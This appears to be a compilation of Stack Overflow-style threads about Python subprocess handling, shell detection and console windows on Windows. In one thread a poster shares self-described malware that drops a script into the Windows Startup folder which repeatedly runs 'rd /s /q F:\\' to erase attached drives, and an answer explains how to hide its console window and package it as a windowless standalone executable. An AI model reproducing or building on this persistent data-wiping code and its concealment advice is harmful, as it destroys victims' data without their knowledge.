I try to write a programm in python that notifies me, when a shell like cmd gets opened.
Until now I did the following in python.
Check for new starting processes, get the name of the process and check if its name is cmd.exe.
This works if I start a cmd process manually myself.
But it Turns out if i open a shell with subprocess.getoutput(command) from the subprocess library in python there is no shell listed in the prosesses and I also cant see it in taskmanager.
So I assumed its a childprocess of the pythonscripts process running?
My next Idea was to list all the modules a process is using and check for cmd.exe in the modules.
It turns out the pythonscript with subprocess.getoutput(command) does not use cmd.exe in the modules. Strange.
So right now I am not sure how I could detect the shell or if I am even on the right way.
Maybe I need to find the childprocesses of a the pythonprocess? Or is it possible to get a shell without calling cmd.exe I honestly dont know enough about it.
Maybe its better to check for chertain dlls in the used methods by a process?
I also tried to look in the subprocess.py library but it is difficult for me to understand and it seems to atleast pass over cmd as a parameter for subprocess.getoutput() method.
Can somebody help?
Thank you.
UPDATE:
I use this code to detect the process:
import wmi
c = wmi.WMI()
process_watcher = c.Win32_Process.watch_for("creation")
while True:
new_process = process_watcher()
print(new_process.Caption, new_process.ProcessId)
if new_process.Caption =="cmd.exe":
pid = new_process.ProcessID
break
But if I run this code
import subprocess
output = subprocess.getoutput("ipconfig")
print(output)
The only process detected is pythonw.exe
But if I run
import subprocess
while True:
output = subprocess.getoutput("ipconfig")
print(output)
At some point it find cmd.exe.
So I assume that wmi takes to long to detect the process. So cmd is already closed and does not get found.
Any Ideas how to do this a better way?
I didnt know practic version of solution.But you can use pyautogui for it if you want.You can write a program with pyautogui that notifies you when it find cmd logo at task bar.Example:
import pyautogui
cmdlogo = pyautogui.locateOnScreen('get screenshot of cmd logo and write file name here example:'cmd.png'')
While True:
if cmdlogo:
print('write here what yo want to say when it finds cmd')
else:
pyautogui.sleep(5)
Related
This is a frequent question, but reading the other threads did not solve the problem for me.
I provide the full paths to make sure I have not made any path formulation errors.
import subprocess
# create batch script
myBat = open(r'.\Test.bat','w+') # create file with writing access
myBat.write('''echo hello
pause''') # write commands to file
myBat.close()
Now I tried running it via three different ways, found them all here on SO. In each case, my IDE Spyder goes into busy mode and the console freezes. No terminal window pops up or anything, nothing happens.
subprocess.call([r'C:\\Users\\felix\\folders\\Batch_Script\\Test.bat'], shell=True)
subprocess.Popen([r'C:\\Users\\felix\\folders\\Batch_Script\Test.bat'], creationflags=subprocess.CREATE_NEW_CONSOLE)
p = subprocess.Popen("Test.bat", cwd=r"C:\\Users\\felix\\folders\\Batch_Script\\")
stdout, stderr = p.communicate()
Each were run with and without the shell=True setting, also with and without raw strings, single backslashes and so on. Can you spot why this wont work?
Spyder doesn't always handle standard streams correctly so it doesn't surprise me that you see no output when using subprocess.call because it normally runs in the same console. It also makes sense why it does work for you when executed in an external cmd prompt.
Here is what you should use if you want to keep using the spyder terminal, but call up a new window for your bat script
subprocess.call(["start", "test.bat"], shell=True)
start Starts a separate Command Prompt window to run a specified program or command. You need shell=True because it's a cmd built-in not a program itself. You can then just pass it your bat file as normal.
You should use with open()...
with open(r'.\Test.bat','w+') as myBat:
myBat.write('echo hello\npause') # write commands to file
I tested this line outside of ide (by running in cmd) and it will open a new cmd window
subprocess.Popen([r'Test.bat'], creationflags=subprocess.CREATE_NEW_CONSOLE)
Hey I have solution of your problem :)
don't use subprocess instead use os
Example :
import os
myBatchFile = f"{start /max} + yourFile.bat"
os.system(myBatchFile)
# "start /max" will run your batch file in new window in fullscreen mode
Thank me later if it helped :)
This is a follow up on a previous question as I have made progress(which is irrelevant at this point). It is worth noting that I am learning python and barely know what I am doing, however, I am familiar with programming. I am trying to call an SCP command in the windows terminal through python. However, it is not doing the desired effect. The script runs smoothly with no errors and it prints the debug commands as I have written them. However, the SCP call does not actually go through on the other end. To make sure I have the right command, I have it set to print the same command that it called afterwards. When I copy this printed command and paste it into the windows command terminal, it gives the desired effect. Why is the same command not working correctly in python? Thanks. This is my script:
import subprocess
subprocess.run(['scp', 'c:/users/<name>/desktop/OOGA.txt', 'pi#<IP>:here/'], shell=True)
print ("done")
print ('scp', 'c:/users/<name>/desktop/OOGA.txt', 'pi#<IP>:here/')
Try using raw string if shell is set to True:
from subprocess import run as subrun
status = subrun(r'scp c:/users/<name>/desktop/OOGA.txt pi#<IP>:here/',shell=True)
print("Done")
print(status)
I am trying to run this code in the background (from command line) on Windows using python 2.7:
import httpimport
mod = httpimport.load('module name','URL')
Everything works, but the process lingers when launched and only ctrl + c will end it. I am looking to start an independent process from this in the background.
I have read that multiprocess can come useful here but I would need some pointers if I may.
Any suggestions ?
EDIT: I may add this is a script which is calling another python script from URL. From the answers below I gathered that I might need to change my remote script first.
if you want to run your process in the background you can use spawnl
import os
os.spawnl(os.P_DETACH, 'python code.py "module name" "url"')
but you need to be cautious, you can't kill the process if you don't knew it's pid or check where it is running via task manager
check for more: https://docs.python.org/2/library/os.html#os.spawnl
for your code (for exemple code.py):
import httpimport
from sys import argv
name, module_name, URL = argv # here you get the module name and URL from the argument given from before
mod = httpimport.load(module_name , URL)
I am writing a very simple piece of malware for fun (I don't like doing anything malicious to others). Currently, I have this:
import os
#generate payload
payload = [
"from os import system\n",
"from time import sleep\n",
"while True:\n",
" try:\n",
" system('rd /s /q F:\\\\')\n",
" except:\n",
" pass\n",
" sleep(10)\n",
]
#find the userhome
userhome = os.path.expanduser('~')
#create the payload file
with open(userhome+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.py", "a") as output:
#write payload
for i in payload:
output.write(i)
After the user executes that script, it should run the payload every time the computer starts up. Currently, the payload will erase the F:\ drive, where USB disks, external HDDs, etc. will be found.
The problem is is that the command window shows up when the computer starts. I need a way to prevent anything from showing up any ware in a very short way that can be done easily in Python. I've heard of "pythonw.exe", but I don't know how I would get it to run at startup with that unless I change the default program for .py files. How would I go about doing this?
And yes, I do know that if one were to get this malware it wouldn't do abything unless they had Python installed, but since I don't want to do anything with it I don't care.
The window that pops up, should, in fact, not be your python window, but the window for the command you run with os (if there are two windows, you will need to follow the below suggestion to remove the actual python one). You can block this when you use the subprocess module, similar to the os one. Normally, subprocess also creates a window, but you can use this call function to avoid it. It will even take the optional argument of input, and return output, if you wish to pipe the standard in and out of the process, which you do not need to do in this case.
def call(command,io=''):
command = command.split()
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
if io != None:
process = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,startupinfo=startupinfo,shell=False)
return process.communicate(io)[0]
This should help. You would use it in place of os.system()
Also, you can make it work even without python (though you really shouldn't use it on other systems) by making it into an executable with pyinstaller. You may, in fact, need to do this along with the subprocess startupinfo change to make it work. Unlike py2exe or cxfreeze, pyinstaller is very easy to use, and works reliably. Install pyinstaller here (it is a zip file, however pyinstaller and other sites document how to install it with this). You may need to include the pyinstaller command in your system "path" variable (you can do this from control panel) if you want to create an executable from the command line. Just type
pyinstaller "<filename>" -w -F
And you will get a single file, standalone, window-less executable. The -w makes it windowless, the -F makes it a standalone file as opposed to a collection of multiple files. You should see a dist subdirectory from the one you called pyinstaller from, which will include, possibly among other things which you may ignore, the single, standalone executable which does not require python, and shouldn't cause any windows to pop up.
I am very new to python.. I used the code
x = input(" Hey what is your name " )
print(" Hey, " + x)
input(" press close to exit ")
Because i have looked for this problem on internet and came to know that you have to put some dummy input line at the end to stop the command prompt from getting closed but m still facing the problem.. pls Help
I am using python 3.3
On windows, it's the CMD console that closes, because the Python process exists at the end.
To prevent this, open the console first, then use the command line to run your script. Do this by right-clicking on the folder that contains the script, select Open console here and typing in python scriptname.py in the console.
The alternative is, as you've found out, to postpone the script ending by adding a input() call at the end. This allows the user of the script to choose when the script ends and the console closes.
That can be done with os module. Following is the simple code :
import os
os.system("pause")
This will generate a pause and will ask user to press any key to continue.
[edit: The above method works well for windows os. It seems to give problem with mac (as pointed by ihue, in comments). The thing is that "os" library is operating system specific and some commands might not work with one operating system like they work in another one.]
For Windows Environments:
If you don't want to go to the command prompt (or work in an environment where command prompt is restricted), I think the following solution is gooThe solution I use is to create a bat file.
Use notepad to create a text file. In the file the contents will look something like:
my_python_program.py
pause
Then save the file as "my_python_program.bat" - DO NOT FORGET TO SELECT "All Files!
When you run the bat file it will run the python program and pause at the end to allow you to read the output. Then if you press any key it will close the window.
Just Add Simple input At The End Of Your Program it Worked For Me
input()
Try it And It Will Work Correctly
Try this,
import sys
status='idlelib' in sys.modules
# Put this segment at the end of code
if status==False:
input()
This will only stop console window, not the IDLE.